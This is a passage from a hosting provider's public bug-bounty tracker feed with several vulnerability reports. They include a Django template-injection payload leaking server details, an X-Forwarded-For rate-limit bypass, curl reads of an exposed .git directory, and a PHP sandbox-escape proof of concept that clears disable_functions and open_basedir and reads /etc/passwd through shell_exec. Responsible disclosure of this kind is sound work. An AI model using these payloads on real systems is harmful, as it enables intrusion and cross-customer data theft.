Test time window and IPs: 2026-11-19 07:00 to 10:00 UTC. Egress IPs: 2a00:b6e0:1:20:23::1 (http22 web node, <acronym title="Hypertext Preprocessor">PHP</acronym> <acronym title="File Transfer Protocol">FTP</acronym> client) and the jobs4 node IP (Python <acronym title="File Transfer Protocol">FTP</acronym> client). All <acronym title="File Transfer Protocol">FTP</acronym> connections originated from inside the alwaysdata network to ftp-vk7research.alwaysdata.net (2a00:b6e0:1:60:2::1). You will see repeated <acronym title="File Transfer Protocol">FTP</acronym> logins from vk7research with different path values in the ProFTPD logs on ftp1 during this window.<br />
</p>
</div>
    </content>
    <author><name>Bajinder Kumar</name></author>
    <id>https://security.alwaysdata.com/:560</id>
  </entry>
    <entry>
    <title>FS#555: SSTI Leads to RCE</title>
    <link href="https://security.alwaysdata.com/task/555" />    
    <updated>2026-11-19T07:30:06Z</updated>    
    <published>2026-11-18T13:44:12Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<h3 id="summary">Summary</h3>
<div class="level3">

<p>
 The “Name” field of an Application Script is rendered as an unescaped Django template. Setting the name to a template expression (e.g. <a href="https://security.alwaysdata.com/plugins/dokuwiki/lib/exe/fetch.php?id=&amp;cache=cache&amp;media=os.uname" class="media mediafile mf_" title="os.uname">os.uname</a>) causes it to execute server-side when loading /site/add/?application=&lt;id&gt;, leaking server info (hostname, UID, SECRET_KEY). Potential RCE.
</p>

</div>

<h3 id="steps_to_reproduce">Steps to Reproduce</h3>
<div class="level3">
<pre class="code">

1. Log in at https://admin.alwaysdata.com/login/ 
2. Go to https://admin.alwaysdata.com/site/application/script/add/ (Web → Sites → Application scripts → Add an application script).

┌─────────────────────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│        Field        │                                                            Value                                                            │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Name                │ RCE-{{form.forms.gi_frame.f_globals.django.conf.os.uname.nodename}}-{{form.forms.gi_frame.f_globals.django.conf.os.getuid}} │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ URL                 │ https://example.com/                                                                                                        │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Author name         │ test                                                                                                                        │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Author URI          │ https://example.com/                                                                                                        │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Script upstream URI │ leave empty                                                                                                                 │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Public application  │ leave unticked                                                                                                              │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Script              │ the block below                                                                                                             │
└─────────────────────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘

#!/bin/bash
# site:
#     type: php
# form:
#     testfield:
#         label: test
#         required: false
exit 0

The form: section is required — without it no fieldset renders and you see nothing.

3. Submit. You land back on /site/application/script/. The new row links to /site/application/script/&lt;id&gt;/ — note that id (e.g. 629).

4. Open https://admin.alwaysdata.com/site/add/?application=&lt;id&gt; — just load it, submit nothing.

5. Look at the grey &quot;well&quot; fieldset heading. It reads:

RCE-overlord-core-33

</pre>

</div>

<h3 id="impact">Impact</h3>
<div class="level3">

<p>
 Attacker can execute arbitrary commands on the server, read sensitive data including Django SECRET_KEY, environment variables, and internal file paths — leading to full server compromise.<br />
</p>

</div>
</div>
    </content>
    <author><name>Siddharth Sharma</name></author>
    <id>https://security.alwaysdata.com/:555</id>
  </entry>
    <entry>
    <title>FS#545: # Rate Limit Bypass on Password Reset Endpoint via Spoofable X-Forwarded-For Header</title>
    <link href="https://security.alwaysdata.com/task/545" />    
    <updated>2026-11-10T17:19:36Z</updated>    
    <published>2026-11-08T23:09:27Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
### Summary
</p>

<p>
The password-reset endpoint at `<a href="https://admin.alwaysdata.com/password/lost/" class="urlextern" title="https://admin.alwaysdata.com/password/lost/"  rel="nofollow">https://admin.alwaysdata.com/password/lost/</a>` appears to rely on the client-supplied `X-Forwarded-For` header when identifying clients for rate limiting.
</p>

<p>
After reaching the endpoint&#039;s request limit and receiving an <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> `429 Too Many Requests` response, changing the `X-Forwarded-For` header value allowed additional password-reset requests.
</p>

<p>
During testing using my own email address, I received nearly 100 password-reset emails, demonstrating that the rate-limiting mechanism could be bypassed and that repeated email notifications could be triggered.
</p>

<p>
### Affected Endpoint
</p>

<p>
`POST <a href="https://admin.alwaysdata.com/password/lost/" class="urlextern" title="https://admin.alwaysdata.com/password/lost/"  rel="nofollow">https://admin.alwaysdata.com/password/lost/</a>`
</p>

<p>
### Steps to Reproduce
</p>

<p>
1. Navigate to the password-reset page.
</p>

<p>
2. Submit password-reset requests using an email address you control.
</p>

<p>
3. Continue until the server responds with `<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 429 Too Many Requests`.
</p>

<p>
4. Change the `X-Forwarded-For` header value in the request.
</p>

<p>
5. Submit another request.
</p>

<p>
6. Observe that the endpoint accepts further requests despite the previous rate-limit response.
</p>

<p>
7. Check the controlled mailbox and observe the additional password-reset emails.
</p>

<p>
### Proof of Concept
</p>

<p>
Original request header:
</p>

<p>
`X-Forwarded-For: [initial value]`
</p>

<p>
After receiving <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 429, change the header:
</p>

<p>
`X-Forwarded-For: [different value]`
</p>

<p>
The endpoint then accepts further requests instead of consistently enforcing the rate limit.
</p>

<p>
### Impact
</p>

<p>
An unauthenticated attacker may be able to bypass the password-reset request limit by manipulating the `X-Forwarded-For` header.
</p>

<p>
This could allow repeated password-reset emails to be triggered for a target email address, potentially resulting in email flooding, user disruption, and abuse of the password-reset notification system.
</p>

<p>
Testing was performed only using an email address under my control.
</p>

<p>
### Recommended Remediation
</p>

<p>
- Do not trust arbitrary client-supplied `X-Forwarded-For` values.<br />- Configure trusted reverse proxies to overwrite or sanitise forwarding headers.<br />- Derive the rate-limit identity from the actual client IP as established by trusted infrastructure.<br />- Apply additional rate limits based on the destination email address and other appropriate identifiers.<br />- Consider a progressive cooldown and abuse-detection mechanism.
</p>

<p>
### Evidence
</p>

<p>
- <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 429 response showing that the rate limit was reached.<br />- Subsequent accepted requests after changing the forwarding header.<br />- Password-reset emails received in my controlled mailbox, with timestamps.
</p>
</div>
    </content>
    <author><name>Sardar Zabi</name></author>
    <id>https://security.alwaysdata.com/:545</id>
  </entry>
    <entry>
    <title>FS#544: REGRESSION of FS#532: .git still exposed on security.alwaysdata.com</title>
    <link href="https://security.alwaysdata.com/task/544" />    
    <updated>2026-11-05T08:24:57Z</updated>    
    <published>2026-11-03T22:49:43Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
This is a REGRESSION of <del>&#160;<a href="https://security.alwaysdata.com/task/532?feed_type=atom&amp;amp%3Bproject=1" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#532</a>&#160;</del> (Exposed .git repository, previously rated High). The .git directory on security.alwaysdata.com is still publicly served as of 2026-11-04, unauthenticated:
</p>

<p>
GET <a href="https://security.alwaysdata.com/.git/HEAD" class="urlextern" title="https://security.alwaysdata.com/.git/HEAD"  rel="nofollow">https://security.alwaysdata.com/.git/HEAD</a> → 200, body &quot;ref: refs/heads/master&quot;<br />GET <a href="https://security.alwaysdata.com/.git/config" class="urlextern" title="https://security.alwaysdata.com/.git/config"  rel="nofollow">https://security.alwaysdata.com/.git/config</a> → 200 (Flyspray clone config, remote origin github.com/flyspray/flyspray.git)<br />GET <a href="https://security.alwaysdata.com/.git/logs/HEAD" class="urlextern" title="https://security.alwaysdata.com/.git/logs/HEAD"  rel="nofollow">https://security.alwaysdata.com/.git/logs/HEAD</a> → 200 (336 bytes: clone 2024-01, pull fast-forward 2026-07-13)<br />GET <a href="https://security.alwaysdata.com/.git/refs/heads/master" class="urlextern" title="https://security.alwaysdata.com/.git/refs/heads/master"  rel="nofollow">https://security.alwaysdata.com/.git/refs/heads/master</a> → 200 (commit a1ffafd65d5662d69e8b0334315b857449e3ea38)
</p>

<p>
Impact: full git history of the security-reporting infrastructure (Flyspray + customizations, committer names/emails) downloadable by anyone. Exposure isolated to the tracker — /.git/HEAD returns 404 on www/admin/webmail/api.alwaysdata.com.
</p>

<p>
Discipline: PoC stopped at metadata files (HEAD/config/logs/refs). No git objects downloaded, no exfiltration.
</p>

<p>
Note: <del>&#160;<a href="https://security.alwaysdata.com/task/527?feed_type=atom&amp;amp%3Bproject=1" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#527</a>&#160;</del> (ProxyPass SSRF regression) was previously accepted as a new report; filing this regression the same way.<br />
</p>
</div>
    </content>
    <author><name>Aabideen</name></author>
    <id>https://security.alwaysdata.com/:544</id>
  </entry>
    <entry>
    <title>FS#543: Regression of FS#532: .git directory of security.alwaysdata.com still publicly accessible (unauthent</title>
    <link href="https://security.alwaysdata.com/task/543" />    
    <updated>2026-11-05T08:24:43Z</updated>    
    <published>2026-11-03T18:27:51Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
## Summary<br />The Flyspray tracker at <a href="https://security.alwaysdata.com/" class="urlextern" title="https://security.alwaysdata.com/"  rel="nofollow">https://security.alwaysdata.com/</a> still serves its<br />.git directory to unauthenticated visitors. This is a regression / incomplete<br />fix of <del>&#160;<a href="https://security.alwaysdata.com/task/532?feed_type=atom&amp;amp%3Bproject=1" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#532</a>&#160;</del> (&quot;Exposed .git repository&quot;, Closed 23.10.2026, previously rated<br />High by your team). Eleven days after that task was closed, the same exposure<br />was still live on 2026-11-03, and re-verified live on 2026-11-04.
</p>

<p>
## Affected host<br /><a href="https://security.alwaysdata.com/" class="urlextern" title="https://security.alwaysdata.com/"  rel="nofollow">https://security.alwaysdata.com/</a> (the official bug-bounty report tracker)
</p>

<p>
## Severity suggestion<br />Low to Medium, at triage&#039;s discretion. We deliberately do NOT claim High on<br />the evidence below alone. High would only apply if your server-side check<br />confirms that .git objects / source files are also served, which we did not<br />test (see Honest caveats).<br />- CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor),
</p>
<pre class="code">also related CWE-538 (Insertion of Sensitive Information into an
Externally-Accessible File or Directory).</pre>

<p>
- CVSS 3.1 for the verified metadata disclosure alone:
</p>
<pre class="code">AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N = 5.3</pre>

<p>
 ## Impact (verified)<br />An unauthenticated visitor can read deployment metadata of the tracker that<br />should not be public: the deployed branch (master), the upstream remote<br />(github.com/flyspray/flyspray.git), and the exact deployed commit hash.<br />Measured impact: 3 metadata files confirmed served unauthenticated,<br />2 negative controls returned 404, 0 bytes of source downloaded,<br />0 other users&#039; data touched.
</p>

<p>
## Reproduction steps (numbered, no authentication needed)<br />1. Run: curl -s <a href="https://security.alwaysdata.com/.git/HEAD" class="urlextern" title="https://security.alwaysdata.com/.git/HEAD"  rel="nofollow">https://security.alwaysdata.com/.git/HEAD</a>
</p>
<pre class="code"> Expected: HTTP 200, body &quot;ref: refs/heads/master&quot; (23 bytes).</pre>

<p>
2. Run: curl -s <a href="https://security.alwaysdata.com/.git/config" class="urlextern" title="https://security.alwaysdata.com/.git/config"  rel="nofollow">https://security.alwaysdata.com/.git/config</a>
</p>
<pre class="code"> Expected: HTTP 200, a valid git config naming remote origin
 https://github.com/flyspray/flyspray.git and branch master.</pre>

<p>
3. Run: curl -s <a href="https://security.alwaysdata.com/.git/refs/heads/master" class="urlextern" title="https://security.alwaysdata.com/.git/refs/heads/master"  rel="nofollow">https://security.alwaysdata.com/.git/refs/heads/master</a>
</p>
<pre class="code"> Expected: HTTP 200, body &quot;a1ffafd65d5662d69e8b0334315b857449e3ea38&quot; (41 bytes).</pre>

<p>
4. Negative control: curl -s -o /dev/null -w &quot;%{http_code}\n&quot; <a href="https://security.alwaysdata.com/.git/DEFINITELY_NOT_EXIST_12345" class="urlextern" title="https://security.alwaysdata.com/.git/DEFINITELY_NOT_EXIST_12345"  rel="nofollow">https://security.alwaysdata.com/.git/DEFINITELY_NOT_EXIST_12345</a>
</p>
<pre class="code"> Expected: HTTP 404. This rules out a generic 200 handler: the .git files
 above are genuinely served.</pre>

<p>
 ## PoC (complete, copy-paste runnable, no auth, no retry)<br />```<br />curl -s <a href="https://security.alwaysdata.com/.git/HEAD" class="urlextern" title="https://security.alwaysdata.com/.git/HEAD"  rel="nofollow">https://security.alwaysdata.com/.git/HEAD</a> curl -s <a href="https://security.alwaysdata.com/.git/refs/heads/master" class="urlextern" title="https://security.alwaysdata.com/.git/refs/heads/master"  rel="nofollow">https://security.alwaysdata.com/.git/refs/heads/master</a> curl -s -o /dev/null -w &quot;%{http_code}\n&quot; <a href="https://security.alwaysdata.com/.git/DEFINITELY_NOT_EXIST_12345" class="urlextern" title="https://security.alwaysdata.com/.git/DEFINITELY_NOT_EXIST_12345"  rel="nofollow">https://security.alwaysdata.com/.git/DEFINITELY_NOT_EXIST_12345</a> ```
</p>

<p>
## Evidence timeline<br />- First observed: 2026-11-03 ~22:40-22:42 WIB (15:40-15:42 UTC), single
</p>
<pre class="code">attempts, retry OFF.</pre>

<p>
- Re-verified live before submission: 2026-11-04 ~01:14 WIB
</p>
<pre class="code">(2026-11-03 18:14 UTC): HEAD 200 (23 bytes, same content), config 200,
refs/heads/master 200 (41 bytes, same commit hash), control path 404.</pre>

<p>
 ## Why this is not by design<br /><del>&#160;<a href="https://security.alwaysdata.com/task/532?feed_type=atom&amp;amp%3Bproject=1" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#532</a>&#160;</del> itself proves your team treats an exposed .git on this tracker as a<br />flaw to be fixed, not intended behaviour. Your tracker also has precedent<br />for accepting incomplete-fix / regression reports as separate tasks<br />(e.g. <del>&#160;<a href="https://security.alwaysdata.com/task/533?feed_type=atom&amp;amp%3Bproject=1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#533</a>&#160;</del> as an incomplete fix of <del>&#160;<a href="https://security.alwaysdata.com/task/481?feed_type=atom&amp;amp%3Bproject=1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#481</a>&#160;</del>, <del>&#160;<a href="https://security.alwaysdata.com/task/527?feed_type=atom&amp;amp%3Bproject=1" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#527</a>&#160;</del> as a regression of<br /><del>&#160;<a href="https://security.alwaysdata.com/task/305?feed_type=atom&amp;amp%3Bproject=1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#305</a>&#160;</del>/504/520). This report follows that same pattern: Closed 23.10, still<br />live 03.11, therefore the fix was not effective.
</p>

<p>
## Honest caveats (please read before triage)<br />1. Duplicate risk, stated openly: you may close this as a duplicate or
</p>
<pre class="code"> informative follow-up of FS#532. Our differentiator is only that FS#532
 is Closed while the exposure is still live, i.e. an ineffective fix /
 regression, not a new first report of the same issue.</pre>

<p>
2. .git objects / full source NOT tested: we deliberately stopped at
</p>
<pre class="code"> metadata (HEAD, config, refs). We did not enumerate or download objects,
 logs, or source, in line with your rule against over-exploitation and
 accessing internal data further than needed. If objects are also served,
 the impact is larger (full tracker source plus local modifications), but
 that is UNTESTED and we do not claim it. You can verify server-side.</pre>

<p>
3. Testing method: manual curl at low rate only. No automated scanner, no
</p>
<pre class="code"> DoS, no brute force, no access to any other user&#039;s account, task, or
 attachment.</pre>

<p>
 ## Suggested fix<br />Block public access to the .git directory on the tracker virtual host<br />(e.g. deny all requests under /.git/), and verify the deployed fix from an<br />unauthenticated request, since the previous fix for <del>&#160;<a href="https://security.alwaysdata.com/task/532?feed_type=atom&amp;amp%3Bproject=1" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#532</a>&#160;</del> did not hold.
</p>

<p>
## Reporter<br />Name: Izka. Contact email: izkalavender@gmail.com. Payout details: to be provided upon acceptance.<br />Note: we understand reports on this tracker become public after processing,<br />and we accept that for this submission.<br />
</p>
</div>
    </content>
    <author><name>Izka</name></author>
    <id>https://security.alwaysdata.com/:543</id>
  </entry>
    <entry>
    <title>FS#540: PHP Sandbox Escape via `php_ini` API Field (disable_functions + open_basedir Bypass)</title>
    <link href="https://security.alwaysdata.com/task/540" />    
    <updated>2026-10-29T08:25:37Z</updated>    
    <published>2026-10-29T05:53:16Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
<strong>Severity:</strong> Critical<br /><strong>CVSS 3.1:</strong> 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)<br /><strong>Date:</strong> 2026-10-29<br /><strong>Status:</strong> Confirmed — 3/3 fresh reproductions, raw <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> evidence attached<br /><strong>Related to:</strong> <del>&#160;<a href="https://security.alwaysdata.com/task/538?feed_type=atom&amp;amp%3Bproject=1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#538</a>&#160;</del> — independent attack vector, not a duplicate (see below)
</p>

<p>
—
</p>

<p>
## Executive Summary
</p>

<p>
The alwaysdata REST <acronym title="Application Programming Interface">API</acronym> exposes a `php_ini` field on the `/v1/site/:id/` endpoint that writes customer-controlled <acronym title="Hypertext Preprocessor">PHP</acronym> INI directives directly into the site&#039;s <acronym title="Hypertext Preprocessor">PHP</acronym> process configuration, with no filtering or allowlist. Setting `disable_functions=` and `open_basedir=` (both empty) clears the platform&#039;s hardened <acronym title="Hypertext Preprocessor">PHP</acronym> sandbox entirely: `shell_exec`, `system`, `passthru`, and `exec` become available, and the <acronym title="Hypertext Preprocessor">PHP</acronym> process can read any file on the shared host filesystem, not just its own web root.
</p>

<p>
This is independent of  <del>&#160;<a href="https://security.alwaysdata.com/task/538?feed_type=atom&amp;amp%3Bproject=1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#538</a>&#160;</del> — a different field, a different mechanism, and additional impact AD-015 never covered (`open_basedir` clearing). Full differentiation below.
</p>

<p>
<strong>Live proof:</strong> `shell_exec(&quot;id&quot;)` returns `uid=559104(kdhunter2026)` — this function is disabled by default on alwaysdata; output is only possible once `disable_functions=` has taken effect.
</p>

<p>
—
</p>

<p>
## The Attacker Scenario 
</p>
<blockquote><div class="no">
 An attacker signs up for any alwaysdata plan (€4/month). Via the documented REST <acronym title="Application Programming Interface">API</acronym>, they set `php_ini` to `disable_functions=\nopen_basedir=`. Apache reloads within seconds. Their <acronym title="Hypertext Preprocessor">PHP</acronym> process can now run arbitrary system commands and read any file on the shared host — including other customers&#039; files, <acronym title="Secure Shell">SSH</acronym> keys, database credentials, and session data.</div></blockquote>

<p>
 This bypasses the core promise of alwaysdata&#039;s <acronym title="Hypertext Preprocessor">PHP</acronym> security model: that `disable_functions` and `open_basedir` protect customers from one another on shared hosting.
</p>

<p>
<strong>Anticipated objection — &quot;you already have account-level access, so this isn&#039;t new&quot;:</strong> `disable_functions` and `open_basedir` don&#039;t exist to restrict the account owner — they exist to contain what happens if someone else compromises the web application running on that account through an unrelated bug (a vulnerable plugin, a file-upload flaw, an injected dependency). That attacker gets <acronym title="Hypertext Preprocessor">PHP</acronym> execution but not the account&#039;s credentials. Before this bug: trapped in <acronym title="Hypertext Preprocessor">PHP</acronym>, no shell, no filesystem access outside the site root. After: full shell and full filesystem read. The `php_ini` field&#039;s own name implies it was meant for ordinary user-level tuning (`memory_limit`, `upload_max_filesize`, `max_execution_time`) — accepting admin-only security directives with zero filtering is a validation gap, not an intended capability extension for account owners.
</p>

<p>
—
</p>

<p>
## Proof of Concept
</p>

<p>
### Step 1 — Inject <acronym title="Hypertext Preprocessor">PHP</acronym> INI directives via the <acronym title="Application Programming Interface">API</acronym>
</p>

<p>
```bash<br />curl -s -X PATCH &quot;<a href="https://api.alwaysdata.com/v1/site/[SITE_ID]/" class="urlextern" title="https://api.alwaysdata.com/v1/site/[SITE_ID]/"  rel="nofollow">https://api.alwaysdata.com/v1/site/[SITE_ID]/</a>&quot; \
</p>
<ol>
<li class="level1"><div class="li">u &quot;[<acronym title="Application Programming Interface">API</acronym>_TOKEN]:&quot; \</div>
</li>
<li class="level1"><div class="li">H &quot;Content-Type: application/json&quot; \</div>
</li>
<li class="level1"><div class="li">d &#039;{</div>
</li>
</ol>

<p>
    &quot;php_ini&quot;: &quot;auto_prepend_file=/etc/passwd\ndisable_functions=\nopen_basedir=&quot;
</p>
<pre class="code">}&#039;</pre>

<p>
```
</p>

<p>
<strong>Response:</strong> `<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 204 No Content`
</p>

<p>
<strong>Verify stored (confirms no sanitization):</strong> ```bash<br />curl -s &quot;<a href="https://api.alwaysdata.com/v1/site/[SITE_ID]/" class="urlextern" title="https://api.alwaysdata.com/v1/site/[SITE_ID]/"  rel="nofollow">https://api.alwaysdata.com/v1/site/[SITE_ID]/</a>&quot; -u &quot;[<acronym title="Application Programming Interface">API</acronym>_TOKEN]:&quot;<br /># → &quot;php_ini&quot;: &quot;auto_prepend_file=/etc/passwd\ndisable_functions=\nopen_basedir=&quot;<br />```
</p>

<p>
### Step 2 — Upload a <acronym title="Hypertext Preprocessor">PHP</acronym> probe file
</p>

<p>
```bash<br />cat &gt; /home/kdhunter2026/www/probe.php « &#039;<acronym title="End of file">EOF</acronym>&#039;<br />&lt;?php<br />echo &quot;disable_functions: &quot; . ini_get(&#039;disable_functions&#039;) . &quot;\n&quot;;<br />echo &quot;open_basedir: &quot; . ini_get(&#039;open_basedir&#039;) . &quot;\n&quot;;<br />echo &quot;shell_exec: &quot; . @shell_exec(&#039;id&#039;) . &quot;\n&quot;;<br />$r = @file_get_contents(&#039;/etc/passwd&#039;);<br />echo &quot;/etc/passwd: &quot; . ($r ? &quot;readable (&quot; . strlen($r) . &quot; bytes)&quot; : &quot;blocked&quot;) . &quot;\n&quot;;<br /><acronym title="End of file">EOF</acronym> ```
</p>

<p>
### Step 3 — Trigger via <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request
</p>

<p>
```bash<br />curl -s &quot;<a href="https://kdhunter2026.alwaysdata.net/probe.php" class="urlextern" title="https://kdhunter2026.alwaysdata.net/probe.php"  rel="nofollow">https://kdhunter2026.alwaysdata.net/probe.php</a>&quot;<br />```
</p>

<p>
<strong>Live <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> response (captured 2026-10-29T02:47:00Z):</strong> ```<br />root:x:0:0:root:/root:/bin/bash<br />daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br />bin:x:2:2:bin:/bin:/usr/sbin/nologin<br />… [32 lines of /etc/passwd — 1764 bytes — prepended by auto_prepend_file]<br />… 
</p>

<h4 id="php_ini_test">PHP INI TEST</h4>
<div class="level4">

<p>
auto_prepend_file: /etc/passwd<br />open_basedir:<br />disable_functions:<br />allow_url_include: 0<br />allow_url_fopen: 1<br />shell_exec(id): uid=559104(kdhunter2026) gid=511502(kdhunter2026) groups=511502(kdhunter2026)<br />system(id): uid=559104(kdhunter2026) gid=511502(kdhunter2026) groups=511502(kdhunter2026)<br />/etc/passwd readable: YES (len=1764)<br />First 100 bytes: root:x:0:0:root:/root:/bin/bash<br />daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br />bin:x:2:2:bin:/bin:/<br />
</p>

</div>

<h4 id="end">END</h4>
<div class="level4">

<p>
```
</p>

<p>
—
</p>

<p>
## Why This Is Not a Duplicate of AD-015 (<del>&#160;<a href="https://security.alwaysdata.com/task/538?feed_type=atom&amp;amp%3Bproject=1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#538</a>&#160;</del>) 
</p>
<table class="inline">
	<tr>
		<td> Dimension </td><td> AD-015 (<del>&#160;<a href="https://security.alwaysdata.com/task/538?feed_type=atom&amp;amp%3Bproject=1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#538</a>&#160;</del>) </td><td> AD-022 </td>
	</tr>
	<tr>
		<td>—</td><td>—</td><td>—</td>
	</tr>
	<tr>
		<td> Attack field </td><td> `vhost_additional_directives` </td><td> `php_ini` </td>
	</tr>
	<tr>
		<td> Mechanism </td><td> Apache `FcgidInitialEnv <acronym title="Hypertext Preprocessor">PHP</acronym>_ADMIN_VALUE` </td><td> Direct <acronym title="Hypertext Preprocessor">PHP</acronym> ini injection </td>
	</tr>
	<tr>
		<td> Also clears `open_basedir`? </td><td> Not tested </td><td> Yes — confirmed </td>
	</tr>
	<tr>
		<td> `auto_prepend_file` as a second primitive? </td><td> Not tested </td><td> Yes — confirmed </td>
	</tr>
	<tr>
		<td> Exploitability </td><td> Requires knowledge of Apache FcgiD directives </td><td> Simpler — any <acronym title="Hypertext Preprocessor">PHP</acronym> ini directive works </td>
	</tr>
	<tr>
		<td> Fix </td><td> Block `<acronym title="Hypertext Preprocessor">PHP</acronym>_ADMIN_VALUE` in `vhost_additional_directives` </td><td> Allowlist directives in `php_ini` </td>
	</tr>
</table>

<p>
 The decisive test for &quot;same vulnerability&quot; is whether the same fix closes both — it doesn&#039;t. AD-015&#039;s fix (rejecting `<acronym title="Hypertext Preprocessor">PHP</acronym>_ADMIN_VALUE` inside `vhost_additional_directives`) does nothing to stop `php_ini` from accepting `disable_functions=` directly: different field, parsed by a different part of the <acronym title="Application Programming Interface">API</acronym>, with no relationship to Apache directive syntax. Conversely, AD-022&#039;s fix (allowlisting `php_ini` directives) does nothing to stop `vhost_additional_directives` from still accepting `FcgidInitialEnv <acronym title="Hypertext Preprocessor">PHP</acronym>_ADMIN_VALUE`. AD-022 also demonstrates impact AD-015 never claimed: `open_basedir` clearing, and `auto_prepend_file` as a second, independent primitive within the same field.
</p>

<p>
Two separate customer-facing fields, two separate validation gaps, two separate fixes required. That both converge on the same <acronym title="Hypertext Preprocessor">PHP</acronym> security controls is a platform-wide pattern worth auditing for (see Remediation, below) — not a reason to treat this as one bug reported twice.
</p>

<p>
—
</p>

<p>
## Impact 
</p>
<table class="inline">
	<tr>
		<td> Impact </td><td> Detail </td><td> Live proof </td>
	</tr>
	<tr>
		<td>—</td><td>—</td><td>—</td>
	</tr>
	<tr>
		<td> Arbitrary <acronym title="Operating System">OS</acronym> command execution </td><td> `shell_exec`, `system`, `passthru`, `exec` all enabled </td><td> `uid=559104(kdhunter2026)` @ 02:47Z </td>
	</tr>
	<tr>
		<td> Full filesystem read </td><td> `open_basedir` cleared — `/etc/passwd` (1,764 bytes) read; any other world-readable file equally accessible </td><td> 02:47Z </td>
	</tr>
	<tr>
		<td> File injection on every response </td><td> `auto_prepend_file=/etc/passwd` injects file content into all <acronym title="Hypertext Preprocessor">PHP</acronym> responses </td><td> 02:47Z </td>
	</tr>
</table>

<p>
 —
</p>

<p>
## CVSS 3.1 Breakdown 
</p>
<table class="inline">
	<tr>
		<td> Metric </td><td> Value </td><td> Justification </td>
	</tr>
	<tr>
		<td>—</td><td>—</td><td>—</td>
	</tr>
	<tr>
		<td> Attack Vector </td><td> Network </td><td> <acronym title="Hypertext Transfer Protocol Secure">HTTPS</acronym> <acronym title="Application Programming Interface">API</acronym> PATCH + <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> trigger — entirely remote </td>
	</tr>
	<tr>
		<td> Attack Complexity </td><td> Low </td><td> One <acronym title="Application Programming Interface">API</acronym> call, one <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request; no race condition, no timing dependency </td>
	</tr>
	<tr>
		<td> Privileges Required </td><td> Low </td><td> Any alwaysdata <acronym title="Application Programming Interface">API</acronym> token — any paying customer has one </td>
	</tr>
	<tr>
		<td> User Interaction </td><td> None </td><td> Fully automated, no victim action required </td>
	</tr>
	<tr>
		<td> Scope </td><td> Changed </td><td> Starts in the customer&#039;s <acronym title="Hypertext Preprocessor">PHP</acronym> sandbox; escapes to the <acronym title="Operating System">OS</acronym> and filesystem </td>
	</tr>
	<tr>
		<td> Confidentiality </td><td> High </td><td> Arbitrary file read from the host filesystem </td>
	</tr>
	<tr>
		<td> Integrity </td><td> High </td><td> Write access to the account&#039;s filesystem — trivially available once arbitrary `shell_exec` is confirmed </td>
	</tr>
	<tr>
		<td> Availability </td><td> High </td><td> Unrestricted `shell_exec` trivially implies process/resource control; not separately demonstrated to avoid unnecessary risk </td>
	</tr>
</table>

<p>
 <strong>Base Score: 9.9 (Critical)</strong> Calculator: <a href="https://www.first.org/cvss/calculator/3.1#AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" class="urlextern" title="https://www.first.org/cvss/calculator/3.1#AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"  rel="nofollow">https://www.first.org/cvss/calculator/3.1#AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</a>
</p>

<p>
—
</p>

<p>
## Root Cause
</p>

<p>
The `php_ini` field on `/v1/site/:id/` is injected verbatim into the site&#039;s <acronym title="Hypertext Preprocessor">PHP</acronym> INI configuration, with no allowlist of permitted directives.
</p>

<p>
The correct fix is to allowlist only safe, user-level directives. The following must never be customer-settable, because they override platform security controls:
</p>

<p>
